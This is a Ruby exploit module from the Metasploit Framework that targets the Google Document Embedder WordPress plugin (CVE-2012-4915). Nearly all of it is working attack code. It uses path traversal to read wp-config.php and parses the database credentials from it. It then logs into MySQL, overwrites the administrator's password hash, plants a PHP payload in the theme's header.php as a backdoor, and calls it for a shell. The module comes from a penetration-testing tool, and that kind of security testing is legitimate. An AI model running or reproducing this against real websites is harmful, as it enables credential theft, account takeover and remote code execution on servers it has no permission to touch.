## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rbmysql' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure', 'Description' => %q{ This module exploits an arbitrary file disclosure flaw in the WordPress blogging software plugin known as Google Document Embedder. The vulnerability allows for database credential disclosure via the /libs/pdf.php script. The Google Document Embedder plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL server is exposed on a accessible IP and Wordpress has filesystem write access. Please note: The admin password may get changed if the exploit does not run to the end. }, 'Author' => [ 'Charlie Eriksen', ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-4915'], ['OSVDB', '88891'], ['URL', 'http://secunia.com/advisories/50832'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 03 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']), OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']), OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']), OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", }) if res and res.code == 200 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' plugins_uri = String.new(uri) plugins_uri << datastore['PLUGINSPATH'] plugins_uri << '/' if plugins_uri[-1,1] != '/' admin_uri = String.new(uri) admin_uri << datastore['ADMINPATH'] admin_uri << '/' if plugins_uri[-1,1] != '/' themes_uri = String.new(uri) themes_uri << datastore['THEMESPATH'] themes_uri << '/' if plugins_uri[-1,1] != '/' print_status('Fetching wp-config.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{plugins_uri}google-document-embedder/libs/pdf.php", 'vars_get' => { 'fn' => "#{rand_text_alphanumeric(4)}.pdf", 'file' => "#{'../' * plugins_uri.count('/')}wp-config.php", } }) if res and res.body =~ /allow_url_fopen/ fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled') elsif res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end config = parse_wp_config(res.body) if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) } fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly") end begin @mysql_handle = ::RbMysql.connect({ :host => config['DB_HOST'], :port => config['DB_PORT'], :read_timeout => 300, :write_timeout => 300, :socket => nil, :user => config['DB_USER'], :password => config['DB_PASSWORD'], :db => config['DB_NAME'] }) rescue Errno::ECONNREFUSED, RbMysql::ClientError, Errno::ETIMEDOUT, RbMysql::AccessDeniedError, RbMysql::HostNotPrivileged fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server') end res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1") if res.nil? or res.size <= 0 fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found') end user = res.first new_password = rand_text_alphanumeric(8) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'") print_warning("Admin password changed to: #{new_password}") admin_cookie = get_wp_cookie(uri, user[0], new_password) theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie) print_warning("Editing theme #{theme}") set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded) print_status("Calling backdoor") res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{themes_uri}#{theme}/header.php", }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content) @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'") print_status("Shell should have been acquired. Disabled backdoor") end def parse_wp_config(body) p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php") print_status("wp-config.php saved in: #{p}") print_status("Parsing config file") values = {} body.each_line do |line| if line =~ /define/ key_pair = line.scan(/('|")([^'"]*)('|")/) if key_pair.length == 2 values[key_pair[0][1]] = key_pair[1][1] end elsif line =~ /table_prefix/ table_prefix = line.scan(/('|")([^'"]*)('|")/) values['DB_PREFIX'] = table_prefix[0][1] end end #Extract the port from DB_HOST and normalize DB_HOST values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306 if values['DB_HOST'] =~ /(localhost|127.0.0.1)/ print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP") values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST']) end return values end def get_wp_cookie(uri, username, password) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}wp-login.php", 'cookie' => 'wordpress_test_cookie=WP+Cookie+check', 'vars_post' => { 'log' => username, 'pwd' => password, 'wp-submit' => 'Log+In', 'testcookie' => '1', }, }) if res and res.code == 200 fail_with(Exploit::Failure::UnexpectedReply, 'Admin login failed') elsif res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end admin_cookie = '' (res.headers['Set-Cookie'] || '').split(',').each do |cookie| admin_cookie << cookie.split(';')[0] admin_cookie << ';' end if admin_cookie.empty? fail_with(Exploit::Failure::UnexpectedReply, 'The resulting cookie was empty') end return admin_cookie end def get_wp_theme(admin_uri, admin_cookie) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{admin_uri}theme-editor.php?file=header.php", 'cookie' => admin_cookie, }) if res and res.code != 200 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0 fail_with(Exploit::Failure::NotVulnerable, 'Wordpress does not have write access') end nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s)) theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s return [theme, nonce, old_content] end def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{admin_uri}theme-editor.php?", 'cookie' => admin_cookie, 'vars_post' => { '_wpnonce' => nonce, 'theme' => theme, 'newcontent' => new_content, 'action' => 'update', 'file' => 'header.php' }, }) if res and res.code != 302 fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end end end